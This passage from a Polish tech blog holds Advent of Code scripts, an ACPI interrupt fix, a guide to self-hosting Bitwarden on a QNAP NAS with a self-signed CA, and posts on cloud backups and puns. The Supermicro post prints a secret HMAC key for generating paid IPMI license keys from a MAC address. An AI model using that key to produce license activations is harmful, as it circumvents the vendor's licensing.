    except getopt.GetoptError:
        print 'test.py -i <inputfile>'
        sys.exit(2)
    for opt, arg in opts:
        if opt == '-h':
            print 'test.py -i <inputfile>'
            sys.exit()
        elif opt in ("-i", "--ifile"):
            inputfile = arg
            laziMikolaj(inputfile)

if __name__ == "__main__":
    main(sys.argv[1:])

I drugie zadanie z tego dnia:

#!/usr/bin/python
import sys, getopt
import itertools
from copy import deepcopy

def lazi(plik,start, step):
    # pierwotna tablica zbierajaca wszystkie adresy
    adresy = []
    # aktualny adres Mikolaja
    currAdr= [0,0]
    # pierwszy adres jest pierwszy ;)
    adresy.append(deepcopy(currAdr))
    # tablica zliczajaca ilosc odwiedzin
    wizyty = []
    # otwieram plik z danymi
    with open(plik, 'r') as myfile:
        data=myfile.read().replace('\n', '')
    # iteruje znak po znaku
    for i in range(start, len(data), step):
        if data[i] == '^':
                currAdr[1]      += 1
        elif data[i] == '>':
                currAdr[0]      += 1
        elif data[i] == 'v':
                currAdr[1]      -= 1
        elif data[i] == '<':
                currAdr[0]      -= 1
        # zbieram aktualne adresy do glowej tablicy
        adresy.append(deepcopy(currAdr))
    return adresy

def zlicz(lazik, adresy):
    unique = [k for k,g in itertools.groupby(sorted(adresy))]
    #print "Adresy: %s" % adresy
    print "Lazil: %s" % lazik
    print "Adresy ma %s elementow" % len(adresy)
    print "Pojedynczych prezentow bylo: %d" % len(unique)
    return len(unique)

def main(argv):
    inputfile = ''
    try:
        opts, args = getopt.getopt(argv,"hi:o:",["ifile="])
    except getopt.GetoptError:
        print 'test.py -i <inputfile>'
        sys.exit(2)
    for opt, arg in opts:
        if opt == '-h':
            print 'test.py -i <inputfile>'
            sys.exit()
        elif opt in ("-i", "--ifile"):
            inputfile = arg
            Miki    = lazi(inputfile, 0, 2)
            Robot   = lazi(inputfile, 1, 2)
            Razem   = Miki + Robot
            razem = zlicz("Razem", Razem)
            print "Razem: %d" % razem

if __name__ == "__main__":
    main(sys.argv[1:])

IRQ hogging CPU czyli świński numer

2020-06-07T22:42:00+02:00

W jakimś, zupełnie nieuświadomionym, momencie czasowym mój Macbook zaczął dyszeć. To nie było rzężenie padającego dysku ale ewidetne obciążenie układu płuco-serce. Wiatraki szalały, prąd znikał, a obudowa wskazywała na stan wysokiej gorączki.

Uruchomienie top-a wykazało, że proces o proletariackiej nazwie kworker dosłownie pożera 60% czasu procesora. W nazwie procesu był jeszcze przyrostek: kacpid, co wskazywało na podsystem ACPI czyli zarządzanie energią. Nic mi to nie mówiło.

Internet podpowiedział mi, że chodzi o przerwania oraz fakt, że kworker zbyt często obsługuje któreś z nich i że należy podpowiedzieć ACPI, żeby sobie dał z tym spokój.

I rzeczywiście, w moim przypadku, czyli Macbooku 11,3 chodziło o przerwanie numer 6. Co je generuje? Jeszcze nie wiem ale pewnie się dowiem bo pojawienie się tzw. sztormu GPE (GPE storm) to znak, że coś złego dzieje się ze sprzętem. Pisałem, że klapa (lid) przestała się domykać?

Nie będę się rozwodził nad tematem bo obecnie interesuje mnie tylko likwidacja obciążenia procesora. A robi się to przez dodanie do systemowego crontaba (crontab -e) następującego wpisu:

@reboot echo "disable" > /sys/firmware/acpi/interrupts/gpe06

Przydatne linki:

https://unix.stackexchange.com/questions/242013/disable-gpe-acpi-interrupts-on-boot

https://www.kernel.org/doc/ols/2005/ols2005v1-pages-59-76.pdf

Opis w j. ang.:

ACPI is the Advanced Configuration and Power Interface, which allows Ubuntu (or any OS) to communicate with your hardware in a standard manner. It's main function is power management, along with hardware device configuration.

A GPE in ACPI is a General Purpose Event. Think of it as an interrupt - the hardware is informing the OS (via ACPI) that something happened. The "something" usually includes things like plugging/unplugging your AC adapter, closing/opening the lid of your laptop, etc.

EC is the embedded controller which provides ACPI functions on your motherboard.

A GPE storm occurs when the EC starts sending hundreds or thousands of "events" per second to the OS -- these are either spurious (bogus), or due to some fault in the underlying hardware. e.g. a failure in your battery's charging controller leads the ACPI EC to think that the battery is being removed and reinserted hundreds of times per second.

Transactions will use polling mode means that to handle the storm, the OS will stop using GPEs/interrupts to be informed of ACPI events and will instead -- on its own schedule -- "poll" or proactively ask the ACPI EC if any events it should know of have occurred. This way, the OS can still effectively perform ACPI functions while not being overwhelmed with a "GPE storm".

Bitwarden & Qnap & Docker

2020-06-02T20:41:00+02:00

Będzie po angielsku bo może przyda się światu. ;)

Short instruction how to run Bitwarden service on home Qnap NAS.

Install "Container Station" on your Qnap. On the left panel of" Container Station" click on "Create" button and then on "Create Application" in upper right corner of window. In the text input field put content of the following listing and name this new application "bitwarden".

version: '3'

services:
bitwarden:
 image: bitwardenrs/server:latest
 expose:
   - "80"
 volumes:
   - ./data/bitwarden:/data
 restart: on-failure
 environment:
   WEBSOCKET_ENABLED: 'true'
 logging:
   driver: "json-file"


nginx:
 image: nginx:1.15-alpine
 ports:
   - "580:80"
   - "5443:443"
 volumes:
   - ./data/nginx:/etc/nginx
   - ./data/ssl:/etc/ssl

bw_backup:
 image: bruceforce/bw_backup:latest
 container_name: bw_backup
 restart: on-failure
 depends_on:
   - bitwarden
 volumes:
   - ./data/bitwarden:/data
   - /etc/timezone:/etc/timezone:ro
   - /etc/localtime:/etc/localtime:ro
   - ./data/bitwarden:/backup_folder/
 environment:
   - DB_FILE=/data/db.sqlite3
   - BACKUP_FILE=/backup_folder/db_backup/backup.sqlite3
   - BACKUP_FILE=/data/db_backup/backup.sqlite3
   - CRON_TIME=0 5 * * *
   - TIMESTAMP=false
   - UID=0
   - GID=0

Accept it and run. What you have really done is Docker Compose YAML configuration file which pulls 3 images from Docker Hub server:

bitwarden_rs - an unofficial Bitwarden server implemented in Rust language,
nginx - web server required here as proxy for HTTPS requests,
bw_backup - a docker image running cron job to backup bitwarden database.

and runs containers of them inside "Container Station".

You should pay particular attention to the ports configuration, line with "580:80" and "5443:443" frases. "580" and "5443" are outside ports which are open on the Qnap itself. You can change to whatever fits for you but don't use 80, 443 or 8080 because they are already taken by Qnap own services.

Before you run freshly created application (that's Qnap Container Station's name for docker-compose GUI) SSH log into Qnap and go to application folder:

cd /share/Container/container-station-data/application/bitwarden/data

Now, you must create configuration for nginx:

events {}

http{
  server {
    listen 80;
    return 301 https://$host$request_uri;
  }

  server {
    listen 443 ssl;

    ssl_certificate /etc/ssl/certs/bitwarden.crt;
    ssl_certificate_key /etc/ssl/private/bitwarden.key;

    location / {
        proxy_pass http://bitwarden;
            proxy_set_header        Host $host;
        proxy_set_header        X-Real-IP $remote_addr;
        proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header        X-Forwarded-Proto $scheme;
    }
  }
}

Save it as nginx.conf to /share/Container/container-station-data/application/bitwarden/data/nginx folder.

Now, you have to create self signed certificate to encrypt HTTP requests with SSL. To do this log in to Qnap with SSH and run following commands:

git clone https://github.com/JulianRunnels/Bitwarden_Self_Host.git

In this repo you'll find two interesting files: data/ssl/bitwarden.ext:

# OpenSSL root CA configuration file.
# Copy to `/root/ca/openssl.cnf`.

[ ca ]
# `man ca`
default_ca = CA_default

[ CA_default ]
# Directory and file locations.
dir               = ./data/ssl
certs             = $dir/certs
crl_dir           = $dir/crl
new_certs_dir     = $dir/newcerts
database          = $dir/index.txt
serial            = $dir/serial
RANDFILE          = $dir/private/.rand

# The root key and root certificate.
private_key       = $dir/private/myCA.key
certificate       = $dir/certs/myCA.crt

# For certificate revocation lists.
crlnumber         = $dir/crlnumber
crl               = $dir/crl/ca.crl.pem
crl_extensions    = crl_ext
default_crl_days  = 30

# SHA-1 is deprecated, so use SHA-2 instead.
default_md        = sha256

name_opt          = ca_default
cert_opt          = ca_default
default_days      = 375
preserve          = no
policy            = policy_strict

[ policy_strict ]
# The root CA should only sign intermediate certificates that match.
# See the POLICY FORMAT section of `man ca`.
countryName             = match
stateOrProvinceName     = match
organizationName        = match
organizationalUnitName  = optional
commonName              = supplied
emailAddress            = optional

[ policy_loose ]
# Allow the intermediate CA to sign a more diverse range of certificates.
# See the POLICY FORMAT section of the `ca` man page.
countryName             = optional
stateOrProvinceName     = optional
localityName            = optional
organizationName        = optional
organizationalUnitName  = optional
commonName              = supplied
emailAddress            = optional

[ req ]
# Options for the `req` tool (`man req`).
default_bits        = 2048
distinguished_name  = req_distinguished_name
string_mask         = utf8only

# SHA-1 is deprecated, so use SHA-2 instead.
default_md          = sha256

# Extension to add when the -x509 option is used.
x509_extensions     = v3_ca

[ req_distinguished_name ]
# See <https://en.wikipedia.org/wiki/Certificate_signing_request>.
countryName                     = Country Name (2 letter code)
stateOrProvinceName             = State or Province Name
localityName                    = Locality Name
0.organizationName              = Organization Name
organizationalUnitName          = Organizational Unit Name
commonName                      = Common Name
emailAddress                    = Email Address

# Optionally, specify some defaults.
countryName_default             = US
stateOrProvinceName_default     =
localityName_default            =
0.organizationName_default      =
organizationalUnitName_default  =
emailAddress_default            =

[ v3_ca ]
# Extensions for a typical CA (`man x509v3_config`).
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer
basicConstraints = critical, CA:true
keyUsage = critical, digitalSignature, cRLSign, keyCertSign

[ v3_intermediate_ca ]
# Extensions for a typical intermediate CA (`man x509v3_config`).
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer
basicConstraints = critical, CA:true, pathlen:0
keyUsage = critical, digitalSignature, cRLSign, keyCertSign

[ usr_cert ]
# Extensions for client certificates (`man x509v3_config`).
basicConstraints = CA:FALSE
nsCertType = client, email
nsComment = "OpenSSL Generated Client Certificate"
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer
keyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment
extendedKeyUsage = clientAuth, emailProtection

[ my_subject_alt_names ]
DNS.1 = bitwarden.lan
DNS.2 = www.bitwarden.lan

[ server_cert ]
# Extensions for server certificates (`man x509v3_config`).
basicConstraints = CA:FALSE
nsCertType = server
nsComment = "OpenSSL Generated Server Certificate"
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer:always
keyUsage = critical, digitalSignature, keyEncipherment
extendedKeyUsage = serverAuth
subjectAltName = @my_subject_alt_names

[ crl_ext ]
# Extension for CRLs (`man x509v3_config`).
authorityKeyIdentifier=keyid:always

[ ocsp ]
# Extension for OCSP signing certificates (`man ocsp`).
basicConstraints = CA:FALSE
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer
keyUsage = critical, digitalSignature
extendedKeyUsage = critical, OCSPSigning

and script called create_ssl.sh:

#!/bin/bash

clear
echo "Creating directory structure for CA"
mkdir -p data/ssl/certs
mkdir -p data/ssl/csr
mkdir -p data/ssl/private
mkdir -p data/ssl/newcerts
touch data/ssl/index.txt
echo 1000 > data/ssl/serial
clear
echo "Creating key for personal CA, please fill out the FQDN with the name you want for your CA"
echo ""
openssl genrsa -aes256 -out data/ssl/private/myCA.key 4096
chmod 500 data/ssl/private/myCA.key
echo "Creating personal CA"
echo ""
openssl req -config data/ssl/bitwarden.ext -x509 -new -sha256 -days 3650 -extensions v3_ca -key data/ssl/private/myCA.key -out data/ssl/certs/myCA.crt
clear
echo "Creating key for bitwarden certificate"
echo ""
openssl genrsa -out data/ssl/private/bitwarden.key 2048
echo "Creating request for Bitwarden certificate, please fill out the FQDN with the nmae that the instance will be located at"
echo ""
openssl req -config data/ssl/bitwarden.ext -key data/ssl/private/bitwarden.key -new -sha256 -out data/ssl/csr/bitwarden.csr
echo ""
clear
echo -n "Please enter your FQDN for your bitwarden instance: "
read answer
sed -i "/DNS.1 = */c\DNS.1 = $answer" ./data/ssl/bitwarden.ext
sed -i "/DNS.2 = */c\DNS.2 = www.$answer" ./data/ssl/bitwarden.ext
openssl ca -config data/ssl/bitwarden.ext -extensions server_cert -days 375 -notext -md sha256 -in data/ssl/csr/bitwarden.csr -out data/ssl/certs/bitwarden.crt
echo ""
echo "Your personal CA has been created, please make sure to install myCA.crt as a trusted root CA in all devices you want to connect to this instance"

You can edit data/ssl/bitwarden.ext to make cert generating easier. Look at this lines:

# Optionally, specify some defaults.
countryName_default             = PL
stateOrProvinceName_default     = mazowieckie
localityName_default            = Warszawa
0.organizationName_default      = FUBAR
organizationalUnitName_default  = fubarek
emailAddress_default            = bzzzdet@funar.pl

and this:

[ my_subject_alt_names ]
DNS.1 = bitwarden.fubar
DNS.2 = www.bitwarden.fubar

Warning: your certificate will be valid only for above domains. I use Pi-hole local DNS to redirect bitwarden.fubar to my QNap IP address.

OK, run create_ssl.sh script and follow instructions. At the and you will find whole new structure of folders with files in ssl directory.

Copy certs and private folders to /share/Container/container-station-data/application/bitwarden/data/ssl.

Now, start Bitwarden application:

Open web browser and go to the URL like: https://bitwarden.fubar:5443, remeber to change domain to same value as in DNS.1 for ssl.

You should see Bitwarden login page:

Time to install and use Bitwarden clients on desktops (macOS, Linux, Windows) and mobiles (Android, iOS) but before you'll do it first go back to SSH session on you Qnap and copy "myCA.crt" file on your computer.

This file is, root CA certificate that will make your Bitwarden clients think that certificate used to connect is valid even it is self signed by you.

Install CA certificate on every host you use with Bitwarden client:

macOS - double click on CRT file and it will open in Keychain Access, add it to System keychain and choose "Always Trust" option,

Linux (Debian/Ubuntu)- https://askubuntu.com/questions/73287/how-do-i-install-a-root-certificate

If your CA is in PEM format convert .pem file to a .crt file:

openssl x509 -in myCA.pem -inform PEM -out myCA.crt

Create a directory for extra CA certificates in /usr/share/ca-certificates:

sudo mkdir /usr/share/ca-certificates/extra

Copy server_rootCA.crt file to this directory:

sudo cp myCA.crt /usr/share/ca-certificates/extra/.

Let Debian/Ubuntu add the .crt file's path relative to /usr/share/ca-certificates to /etc/ca-certificates.conf:

sudo dpkg-reconfigure ca-certificates

3a. To do this non-interactively, run:

sudo update-ca-certificates

Windows - don't use it.

iOS:

e-mail to yourself CA certificate (in this case myCA.crt file),
go to e-mail app and open this attachement in a message,
there will be pop-up informartion saying that youshould go to Settings to install certificate, so go to Settings->General->Profiles
and finish installation of certificate.
After that you have to go back to the main screen of Settings and scroll untli you will see search input at the top. Put "trusted" word in it and thn you'll be presented with "Trusted Certificates" option (which is in Settings->General->About).
Go there and at bottom there is "Certificate Trust Settings" option, open it and you will see freshly installed certificate. Turn it on making it trusted.
Bitwarden app should connect to server flawlessly.

In my setup I use local domain name (bitwarden.fubar) when I connect with OpenVPN client from my mobile so, I had to set up additional options to ovpn config file and to OpenVPN server.

First: I already have PiHole server on Raspberry Pi (IP: 192.168.0.10) with option translating "bitwarden.fubar" to IP of my Bitwarden host (say its: 192.168.0.13).

In my ovpn config file add two options:

push "redirect-gateway def1"
push "dhcp-option DNS 192.168.0.10"

In my router configuration I use separate DHCP pool for OpenVPN connections. For this pool DNS server to set up to 192.168.0.10). So, when mobile establishes VPN connection all DNS queries are redirected to 192.168.0.10 and it translates "bitwarden.fubar" to 192.168.0.13 which is my Bitwarden instance.

Little bit complicated but... I liked it.

Firefox - go to Preferences -> Privacy & Security -> View Certificates. Click Import, then choose PEM/CRT file, select "Trust this CA to identify websites."

Chrome - in macOS it uses Keychain so you don't need to add it again. For Linux check this website: https://thomas-leister.de/en/how-to-import-ca-root-certificate/. Quick hint: go to Settings -> Privacy & Security -> Security -> Manage Certificates and Import.

Warning! Original Bitwarden Desktop client use chromium sandbox so you HAVE TO install CA certificate into Chromium!!!

When CA certificate is in right place the last thing is:

before you connect every Bitwarden client must "know" the right address of Bitwarden server.

Run client and click gear icon:

then put your server address in 4 fields:

Server URL
Web vault server URL
API server URL
Identity server URL

Remember to put it in the following form: https://my.ip.address:myport, in case your server has IP 10.0.0.1 and port 5443 it should be: https://10.0.0.1:5443 like in image below. If you use domain name (as me) you should replace IP with domain:

Now, there's time to create account, you can do it pointing browser to the very same URL as used above: https://10.0.0.1:5443.

It's all now ready to use.

Few steps to consider:

store database backup somewhere outside Qnap,
import data from another password manager,
set up VPN connection to Qnap to synchronize database when you outside.

UPDATE:

How to update docker images?

ALWAYS MAKE BACKUP OF YOUR VAULT!!! Export it in JSON from Bitwarden client.
go to your QNap, run FileStation and zip full content of you application data folder:
stop application in ContainerStation, remove it. Go to Images tab and pull new version of images: bitwardenrs/server, bruceforce/bw_backup and nginx:1.15-alpine.
create application as written at the beginnign of this article, don't run it
unzip content of previously backup data folder (configuration for nginx, ssl, vault and vault's backup).
run application.

Jasiu, chmura to nie backup?

2020-05-28T20:08:00+02:00

Nie no... naprawdę? Przecież mam ten plik w chmurze, a z chmurą mam połączonych chyba ze 20 komputerów. To po co mam backupować? Jak coś się skasuje to mam jeszcze 20 kopii, nie?

Nie!

Mam przykład z własnego podwórka. Trzymam bardzo ważny plik w chmurze, bardzo ważny, po prostu BARDZO WAŻNY ale zniknął. Serio, zniknął. Jeszcze nie do końca wiem co się stało, być może nałożyły się tu conajmniej dwa wydarzenia ale fakt jest nagi: pliku nie ma tam gdzie był.

A był w chmurze z tego względu, że edytowałem go dość często na różnych komputerach.

Tak się złożyło, że wzraz z koronawirusem wystąpiła przerwa w edycji, więc jeszcze nie mogę powiedzieć kiedy zniknął. Podejrzewam, że ma to związek z grubą awarią głównego komputera. Po odtworzeniu zawartość katalogu w którym plik leżał została zsynchronizowania z chmurą i... zakładałem, że wszystko działa. Wygląda jednak to tak jakby klient chmury nie pociągnął pliku z serwera ale uznał, że było to usunięcie i usunął w chmurze.

Na szczęście mam backup. Bo chmura, Jasiu, to nie backup.

p.s. Będę grzebał aby dowiedzieć się co zaszło.

Licencja z Supermicro

2020-05-25T16:05:00+02:00

Nowy serwer z chińskiej firmy Supermicro w webowej konsoli IPMI (czyli zarządzania) ma opcję aktywacji licencji. Odkrycie to było dla mnie sporym zaskoczeniem, tym bardziej że zakup licencji to koszt 30 dolarów, a umożliwia m. in. uaktualnienie firmware'u.

Wychodzi na to, że jeśli kupiłem serwer w którym w przyszłości zostanie odkryta wada to muszę wydać kolejne pieniądze, żeby tę wadę (istniejącą nie z mojej winy przecież) usunąć. To jest chore i złe.

Na szczęście znalazł się człowiek: Peter Kleissner, który o takich praktykach ma podobne do mojego zdanie i postanowił naprawić błąd za pomocą inżynierii wstecznej.

Okazało się, że kluczem aktywującym jest pierwsze 12 bajtów kodu będącego wynikiem funkcji HMAC z tajnym kluczem: 85 44 E3 B4 7E CA 58 F9 58 30 43 F8.

Czyli wystarczy adres MAC interfejsu sieciowego BMC (IPMI) z płyty głównej naszego serwera użyć w serwisie cryptii.com, a pierwsze 6 grup wyniku to nasza licencja.

Fascynujący i krótki opis reverse engineeringu jest na stronie odkrywcy: Reverse Engineering Supermicro IPMI.

Feghoot czyli AI nie da rady chociaż próbuje

2020-05-18T07:56:00+02:00

Wyskoczyła mi dziś w konsoli niezwykła fortunka, zacytuję ją w całości:

 _________________________________________
/  After the Children of Israel           \
| had wandered for thirty-nine years in   |
| the wilderness, Ferdinand Feghoot       |
| the wilderness, Ferdinand Feghoot       |
| arrived to make sure that they would    |
| finally find and enter the Promised     |
| Land. With him, he brought his favorite |
| robot, faithful old Yewtoo Artoo, to    |
| carry his gear and do assorted camp     |
| chores.                                 |
|                                         |
| The Israelites soon got over their      |
| initial fear of the robot and, as the   |
| months passed, became very fond of him. |
| Patriarchs took to discussing abtruse   |
| theological problems with him, and each |
| evening the children all gathered to    |
| hear the many stories with which he was |
| programmed. Therefore it came as a      |
| great shock to them when, just as their |
| journey was ending, he abruptly wore    |
| out. Even Feghoot couldn't console      |
| them.                                   |
|                                         |
| "It may be true, Ferdinand Feghoot,"    |
| said Moses, "that our friend Yewtoo     |
| Artoo was soulless, but we cannot       |
| believe it. He must be properly         |
| interred. We cannot embalm him as do    |
| the Egyptians. Nor have we wood for a   |
| coffin. But I do have a most splendid   |
| skin from one of Pharoah's own cattle.  |
| We shall bury him in it."               |
|                                         |
| Feghoot agreed. "Yes, let this be his   |
| last rusting place."                    |
|                                         |
| "Rusting?" Moses cried. "Not in this    |
| dreadful dry desert!"                   |
|                                         |
| "Ah!" sighed Ferdinand Feghoot,         |
| shedding a tear, "I fear you do not     |
| realize the full significance of        |
| Pharoah's oxhide!"                      |
|                                         |
| -- Grendel Briarton "Through Time &     |
| Space With Ferdinand                    |
|                                         |
\ Feghoot!"                             /
 -----------------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Cytat jest feghootem i jedną z wielu opowiastek... hm... SF, napisanych przez Reginalda Brethora alias Grendela Briartona. Ale ja tu o czym innym.

Zrozumienie powyższej słownej igraszki wymaga mózgu bynajmniej nie elektronowego. Sztuczna inteligencja, jak na razie, radzi sobie nieźle z kontekstem ale w momencie gdy pojawiają się niuanse traci rezon.

Zastanawia mnie jak działa mój mózg skoro bez ukończenia filologii angielskiej, a wyłącznie z taką sobie, średnią znajomością języka angielskiego od razu wiedział, że chodzi tu o grę słów?

Bo AI nie do końca wie ale i tak jest nieźle:

"Rusting place" czyli "miejsce spoczynku" ale w powyższej przypowiastce pasuje bardziej "miejsce rdzewunku" tyle, że to już zabawa w Młodą Polskę.

Na koniec jest "oxhide" czyli dosłownie "wołowa skóra" ale i zlepek "wołowy schowek" bo "ox" to "wół", a "hide" to "chować". Ale przede wszystkim chodzi o "wydech Faraona" czy raczej "oddech", a jeszcze pełniej o oksydację, "oxide", czyli nasze "utlenienie" będące przecież tym samym czym jest "rdzewunek".